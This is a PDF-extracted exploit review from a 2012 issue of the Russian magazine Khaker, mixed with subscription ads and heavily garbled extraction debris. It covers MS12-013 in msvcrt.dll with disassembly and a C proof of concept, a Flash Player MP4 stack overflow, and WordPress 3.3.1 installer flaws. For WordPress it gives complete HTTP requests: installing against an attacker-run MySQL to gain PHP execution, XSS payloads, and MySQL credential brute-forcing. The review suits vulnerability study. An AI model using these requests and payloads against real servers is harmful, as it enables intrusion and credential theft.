Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
8.59 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ПОДПИШИСЬ!

shop.glc.ru

 

 

 

 

 

 

Редакционная подписка без посредников

 

 

 

 

 

 

это гарантия получения важного для Вас

 

 

 

 

 

 

 

 

 

 

 

 

журнала и экономия до 40% от розничной

 

 

 

 

 

 

цены в киоске

6 номеров — 1110 руб.

6 номеров — 1110 руб.

8-800-200-3-999

+7 (495) 663-82-77 (бесплатно)

13 номеров — 1999 руб.

13 номеров — 1999 руб.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

6

номеров — 564 руб.

6 номеров — 1110 руб.

6

номеров — 810 руб.

6 номеров — 1110 руб.

13

номеров — 1105 руб.

13 номеров — 1999 руб.

13

номеров — 1499 руб.

13 номеров — 1999 руб.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

6

номеров — 630 руб.

6

номеров — 895 руб.

6 номеров — 1194 руб.

6

номеров — 894 руб.

13

номеров — 1140 руб.

13

номеров — 1699 руб.

13 номеров — 2149 руб.

13

номеров — 1699 руб.

¿

 

ěĈČʆĐđĎĆďĐ

ČĐ¿ďþċʆĒĎþċĔĆďĈČ¿ĂČ¿ċĚĜʆćČĎĈþ

AUDI A7

NEED FOR SPEED: THE RUN

 

ĀĆċĆĉČĀęă

 

ямшэмуфф

 

 

 

рсхмныćЪ

 

Úѡ ѢÚ Ú"./# .1

 

ысхщчсшрщомшшмĊЪāсшмЪ

 

тюышмцмЪ Ъыюн

350.589

 

 

 

;8IEB?8G

ċ4@4EB

£ýēĞēĢĭ àĜĥģēİĤģı

 

 

üÚĎĘĕĕēčĝďěĔēĖÚ

ïĘěęĘďēė

ĚċĒĖċğĘĖ

ďēĚĐĔĜĘĚ

.EEDЭFORЭ3PEED Э4HEЭ2UNЭ эěЭъшпуĠЭĚĎЭ4OYOTAЭ#AMRY

6 номеров — 690 руб.

13 номеров — 1249 руб.

6

номеров — 775 руб.

6

номеров — 950 руб.

6

номеров — 810 руб.

13

номеров — 1399 руб.

13

номеров — 1699 руб.

13

номеров — 1499 руб.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

ПавелАлександрович (ivinside.blogspot.com)to

 

 

 

 

 

 

 

 

 

 

m

ДмитрийМихайлович(115612,

дер.Краснаязвездочка,w

д.1)Click

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

0бзор

эксплоитов

Ивновьмыстобойвстречаемся,чтобыразобратьсявовнутреннемустройствепоследних интереснейшихобразцовизобластиэксплоитостроения.Крепчехватайсязажурнали внемлижеслогубинарному...

050

ХАКЕР 04 /159/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

MS12-013:Уязвимостьвбиблиотекевремени

1выполненияC(msvcrt.dll)

CVSSV2

9.3

(AV:N/AC:M/AU:N/C:C/I:C/A:C)

BRIEF

Msvcrt.dll — многопоточная библиотека динамической компоновки (DLL) времени выполнения C, которая используется компонентами системного уровня. В способе расчета библиотекой msvcrt.dll размера буфера в памяти существует уязвимость, которая делает возможным удаленное выполнение кода и позволяет копировать данные в память, не выделенную должным образом. Эта уязвимость делает возможным удаленное выполнение кода при запуске пользователем специально созданных файлов мультимедиа. Если пользователь вошел в систему с правами администратора, то злоумышленник, которому удалось воспользоваться уязвимостью, может установить полный контроль над системой, после чего он сможет устанавливать программы, просматривать, изменять и уничтожать данные или создавать новые учетные записи с неограниченными правами. Риск для пользователей, учетные записи которых имеют ограниченные права, меньше, чем для пользователей, работающих с правами администратора.

EXPLOIT

Патч от MS затрагивает функцию __check_float_string(). В связи

стем, что библиотека времени выполнения C поставляется в виде исходников совместно с MS Visual Studio, посмотреть на вышеупомянутую функцию можно в VC/CRT/src/input.c.

Логика работы у функции __check_float_string() следующая. С самого начала у библиотеки времени выполнения имеется буфер статического размера (_TCHAR floatstring[_CVTBUFSIZE + 1];). Как только требуется буфер большего размера, происходит перераспределение памяти. Порядок подобного перераспределения таков: выделяется удвоенный размер буфера и удваивается значение переменной, содержащей этот размер. При первой итерации увеличения используется вызов функции

calloc(), далее используется recalloc(). Основной момент, в связи

скоторым имеет место быть MS12-013, состоит в попытке записи нового размера буфера.

Ниже приведен дизасм-листинг старой версии msvcrt.dll:

.text:6FFBEA1E loc_6FFBEA1E: ; CODE XREF: sub_6FFBE9F3+25|j

.text:6FFBEA1E push 2

check_float_stringизCRT

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Обзор эксплоитовw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

.text:6FFBEA20 push ebx ; mov ebx, [esi] in the entry block

.text:6FFBEA21 call __calloc_crt

.text:6FFBEA26 pop ecx

.text:6FFBEA27 pop ecx

.text:6FFBEA28 mov [edi], eax

.text:6FFBEA2A test eax, eax

.text:6FFBEA2C jz short loc_6FFBEA1A

.text:6FFBEA2E push [ebp+pulResult] ; size_t

.text:6FFBEA31 mov eax, [ebp+arg_8]

.text:6FFBEA34 push [ebp+arg_4] ; void *

.text:6FFBEA37 mov dword ptr [eax], 1

.text:6FFBEA3D push dword ptr [edi] ; void *

.text:6FFBEA3F call _memcpy

.text:6FFBEA44 mov eax, [esi]

.text:6FFBEA46 push esi ; pulResult

.text:6FFBEA47 add eax, eax ; !!!!

.text:6FFBEA49 push 2 ; int

.text:6FFBEA4B push eax ; int

.text:6FFBEA4C mov [esi], eax

.text:6FFBEA4E call ?SizeTMult@@YAJIIPAI@Z

; SizeTMult(uint,uint,uint *)

.text:6FFBEA53 add esp, 18h

.text:6FFBEA56 test eax, eax

.text:6FFBEA58 jge short loc_6FFBEA78

Обрати внимание на аргументы функций __calloc_crt() и SizeTMult(). В момент вызова __calloc_crt() мы имеем следующий набор аргументов: __calloc_crt(Size, 2). Однако в момент, когда для записи переменной размера вызывается функция SizeTMult, ее набор аргументов выглядит так:

SizeTMult(Size*2, 2, &pResult)

Посему, несмотря на реальный размер выделенной памяти под буфер в Size*2, в переменную размера сохраняется значение Size*2*2. В связи с этим переполнение кучи происходить будет, но - за пределами рассматриваемой функции.

А это пропатченная версия. Вновь посмотрим на аргументы SizeTMult(). В этот раз имеем SizeTMult(Size, 2, &pResult). В итоге MS пришлось избавиться от инструкции «add eax, eax»:

.text:6FFBF935 push [ebp+pulResult] ; size_t

.text:6FFBF938 mov eax, [ebp+arg_8]

.text:6FFBF93B push [ebp+arg_4] ; void *

.text:6FFBF93E mov dword ptr [eax], 1

.text:6FFBF944 push dword ptr [esi] ; void *

.text:6FFBF946 call _memcpy

.text:6FFBF94B push edi ; pulResult

.text:6FFBF94C push 2 ; int

.text:6FFBF94E push dword ptr [edi] ; int

.text:6FFBF950 call ?SizeTMult@@YAJIIPAI@Z ; SizeTMult(uint,uint,uint *)

.text:6FFBF955 add esp, 18h

POC для MS12-013:

#include <windows.h> #include <stdio.h>

#pragma comment(linker, "/NODEFAULTLIB:msvcrt90.lib") #pragma comment(linker, "/NODEFAULTLIB:msvcrt80.lib")

#pragma comment(lib, "vs6/msvcrt.lib")

ХАКЕР 04 /159/ 2012

051

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМ/m

ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

#define BUF_SIZE 0x300

void main( void )

{

char *pStr;

float f;

int i;

pStr = (char*)malloc(BUF_SIZE);

memset(pStr, 0, BUF_SIZE);

strcpy(pStr, "1.");

for( i=1; i<=BUF_SIZE-10; i++)

{

strcat(pStr, "0");

}

printf("Before scanf()\n");

sscanf(pStr,"%f", &f);

printf("After scanf()\n");

printf("%f\n", f);

}

TARGETS

Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008

SOLUTION

Существует обновление, устраняющее данную уязвимость

.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

AdobeFlashPlayer:переполнениебуферапри

2 обработкеMP4в

SequenceParameterSetNALUnit

CVSSV2

10.0

(AV:N/AC:L/Au:N/C:C/I:C/A:C)

BRIEF

10февраля2012годавсоставеmetasploit-апоявилсяновыймодуль, отвечающийзауязвимостьвобработкеmp4-файлов,котораяосу- ществляетсякомпонентомFlash10u.ocxAdobeFlashPlayer.Ошибка располагаетсявsequenceParameterSetNALUnit.Когдапроисходит обработказначенияnum_ref_frames_in_pic_order_cnt_cycle,размеркопируемыхданныхникакнепроверяется,ипроцессFlash’а бездумнокопируетподконтрольныепользователюданныеиз offset_for_ref_frameвбуферфиксированногоразмера,располагающийсянастеке.Врезультатеэтоприводиткудаленномувыполнениюпроизвольногокодавконтекстепользователя,запустившего процессFlash-а.Многочисленныесообщенияобэтойуязвимости такжеуказываютнато,чтоонаактивноиспользоваласьITW.

EXPLOIT

Дизасмуязвимогоместа(функцияsub_1005B396),Flash10u.ocx 10.3.181.34:

.text:1005B482

call

SubReadUExpGlomb

; читаем pic_order_cnt_type

.text:1005B487

mov

[esi+40h], eax

.text:1005B48A

cmp

eax, ebp

; если pic_order_cnt_type != 0 (ebp=0)

.text:1005B48C

jnz

short loc_1005B49D

; ...

 

 

ms12-013:результатпереполнениякучи

052

ХАКЕР 04 /159/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

.text:1005B49D

xor

ebx, ebx

.text:1005B49F

inc

ebx

.text:1005B4A0

cmp

eax, ebx

.text:1005B4A2

jnz

short loc_1005B4EF

; если pic_order_cnt_type != 1

.text:1005B4A4

mov

ecx, edi

.text:1005B4A6

call

SubReadBit

; читаем delta_pic_order_always_zero_flag

.text:1005B4AB

mov

ecx, edi

.text:1005B4AD

mov

[esi+48h], al

.text:1005B4B0

call

SubReadSExpGlomb

; читаем offset_for_non_ref_pic

.text:1005B4B5

mov

ecx, edi

.text:1005B4B7

mov

[esi+54h], eax

.text:1005B4BA

call

SubReadSExpGlomb

; читаем offset_for_non_ref_pic

.text:1005B4BF

mov

ecx, edi

.text:1005B4C1

mov

[esi+50h], eax

.text:1005B4C4

call

SubReadUExpGlomb

; читаем num_ref_frames_in_pic_order_cnt_cycle

.text:1005B4C9

mov

[esi+4Ch], eax

.text:1005B4CC

test

eax, eax

.text:1005B4CE

jbe

short loc_1005B4EF

; если num_ref_frames_in_pic_order_cnt_cycle == 0

.text:1005B4D0

lea

eax, [esi+58h]

.text:1005B4D3

mov

[esp+10h+ptr], eax

.text:1005B4D7

 

 

.text:1005B4D7 loc_1005B4D7:

; CODE XREF: SubParseSeqParameterSet+157|j

.text:1005B4D7

mov

ecx, edi

.text:1005B4D9

call

SubReadSExpGlomb

; читаем offset_for_ref_frame

.text:1005B4DE

mov

ecx, [esp+10h+ptr]

.text:1005B4E2

add

[esp+10h+ptr], 4

.text:1005B4E7

inc

ebp ; ebp - счетчик цикла

.text:1005B4E8

mov

[ecx], eax

; ecx указывает на буфер на стеке

.text:1005B4EA

cmp

ebp, [esi+4Ch] ; сравниваем счетчик

; c num_ref_frames_in_pic_order_cnt_cycle

.text:1005B4ED

jb

short loc_1005B4D7

ФункцияSubReadUExpGlomb()читаетизфайлаэкспоненциальныйкодГоломбаидекодируетеговбеззнаковоечисло. SubReadSExpGlomb()читаетэкспоненциальныйкодГоломбаидеко-

дируетеговзнаковоечисло.ФункцияSubReadBit()производитчтение одногобита.Каквидишь,ввышеприведенномкоденепроизводится никакихпроверокназначениеnum_ref_frames_in_pic_order_cnt_ cycle.ВдобавокковсемуFlashPlayerнеиспользуеттакойзащитный механизмкакstackcookies,поэтомуатакующийможетполучить контрольнадрегистромeipбезкаких-либопроблем.

TARGETS

AdobeFlashPlayer<=10.3.181.36

SOLUTION

Обновитьсядоверсии10.3.183.5

3 МножественныеуязвимостивWordPress

CVSSV2

7.5

(AV:N/AC:L/Au:N/C:P/I:P/A:P)

BRIEF

В конце января компания Trustwave SpiderLabs в лице исследователя Джонатана Клаудиуса (Jonathan

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Обзор эксплоитовw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Параметры,принимаемыескриптомsetup-config.php,никакнефильтруются

Claudius) опубликовала очередную пачку уязвимостей в движке WordPress. Среди них - исполнение произвольного PHP-кода, множественные XSS-уязвимости, а также раскрытие имени пользователя и пароля для подключения к серверу MySQL.

EXPLOIT

1.ИсполнениепроизвольногоPHP-кодаихранимаяXSSвскрипте setup-config.php.Сценарийисполняетсявпроцессеинсталляции WordPressипозволяетустанавливатьдвижоксиспользованиемлокальнойилиудаленнойбазыданныхMySQL.Дляэтогонеобходимо располагатьвалиднымиреквизитамидлядоступакMySQL.Однако злоумышленникможетподнятьсвойсобственныйсерверMySQL

ииспользоватьеговпроцессеустановки,приэтомнерасполагая логином/паролемкMySQLнацелевойсистеме.ПослеуспешнойинсталляцииWordPressзлоумышленникможетвнедритьпроизволь- ныйPHP-кодчерезредактортемWordPress.Вдополнениекэтому, благодарядоступукбазеданныхWordPressстановитсявозможным внедритьпроизвольныйJavascript-кодвконтентдвижка,темсамым реализуяуязвимостьхранимойXSS.

Атакапроводитсяследующимобразом.Допустим,A.B.C.D-целевой серверсWordPress,аW.X.Y.Z-серверзлоумышленникасустанов- леннойMySQL.

ПосылаемPOST-иGET-запросыдляустановкиWordPressсисполь- зованиембазыданныхзлоумышленника:

POST-запрос

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

ХАКЕР 04 /159/ 2012

053

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

ВЗЛОМm

/ОБЗОРЭКСПЛОИТОВ

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

-xcha

n

e

 

 

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6;

rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,

application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Cookie: wp-settings-time-1=1322687480;

wp-settings-1=m9%3Do

Content-Type: application/x-www-form-urlencoded

Content-Length: 81

dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z

&prefix=wp_&submit=Submit

GET-запрос

GET /wp-admin/install.php HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X

10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,

application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=2 Cookie: wp-settings-time-1=1322687480;

wp-settings-1=m9%3Do

If-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT

С помощью редакторатемWordPress редактируемфайл404.php (илилюбой другой, доступныйвиспользуемой теме), темсамым реализуявозможностьисполнения PHP-кода:

<?php

phpinfo();

?>

Исполняем код с помощью GET-запроса илипростооткрывстраницув браузере:

GET /wp-content/themes/default/404.php HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X

10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Такжезлоумышленникможет использоватьхранимую XSSдля атакина пользователей, —дляэтогонеобходимо выполнить такой запрос:

UPDATE wp_comments SET

comment_content='<script>alert('123')</script>' where comment_content='Hi, this is a comment.<br />To delete a comment, just log in and view the post's comments. There you will have the option to edit

or delete them.';

Когдапользовательзайдетпоссылке,указаннойвследующемGET- запросе,вегобраузеревыполнитсявнедренныйJavascript-код:

GET /?p=1 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

2.Множественные XSS вскриптеsetup-config.php. В процессеинсталляции злоумышленникможет внедрить Javascript-кодчерез параметры«dbname»,«dbhost»или «uname». Этореализуется черезследующийPOST-запрос:

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X

10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,

application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 112

dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&

uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit

3. Раскрытиереквизитовдлядоступа кбазе данныхMySQL через скриптsetup-config.php. Впроцессеинсталляции пользователь задаетпараметрыбазыданныхMySQL, как ужеобсуждалось ранее. Привводенеправильныхреквизитовскриптвыдает ошибку,чем иможновоспользоваться, осуществляя брутфорсимени пользователяипароля кMySQL, причемнетолько локальной, нои любой удаленной.Запросвыглядитследующимобразом:

POST /wp-admin/setup-config.php?step=2 HTTP/1.1

Host: A.B.C.D

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X

10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1

Accept: text/html,application/xhtml+xml,

application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Proxy-Connection: keep-alive

Referer: http://A.B.C.D/wp-admin/setup-config.php?step=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 32

uname=user&pwd=pass&dbhost=L.M.N.O

В нем делаетсяпопытка коннекта ксерверу L.M.N.Oпользователемuser и паролем pass.

TARGETS

WordPress 3.3.1иболееранние.

SOLUTION

Таккакуязвимыйскрипт-инсталляционный,разработчики WordPressпосчиталивозможностьреализацииэтихуязвимостей крайнемалойинесталивыпускатьофициальныхпатчей.«Ниодин нормальныйпользовательнебудетоставлятьинсталляционных скриптовусебянасервереилипрерыватьпроцессустановки»,- считаютони.Однаконекоторыехостинговыекомпаниипредоставляютаккаунты,вкоторыхпоумолчаниюприсутствуютдистрибутивы WordPressсустановочнымискриптами,аклиентихможетдажеине планировалиспользовать.Длязащитысвоихсерверовотэтихатак можнопорекомендоватьлишьпользоватьсясложнымипаролямик MySQL,атакжеиспользоватьWAF,например,ModSecurity,вправилах которогоучтеныподобногородаатаки.z

054

ХАКЕР 04 /159/ 2012

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

ИльяВербицкий(blog.chivavas.org)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

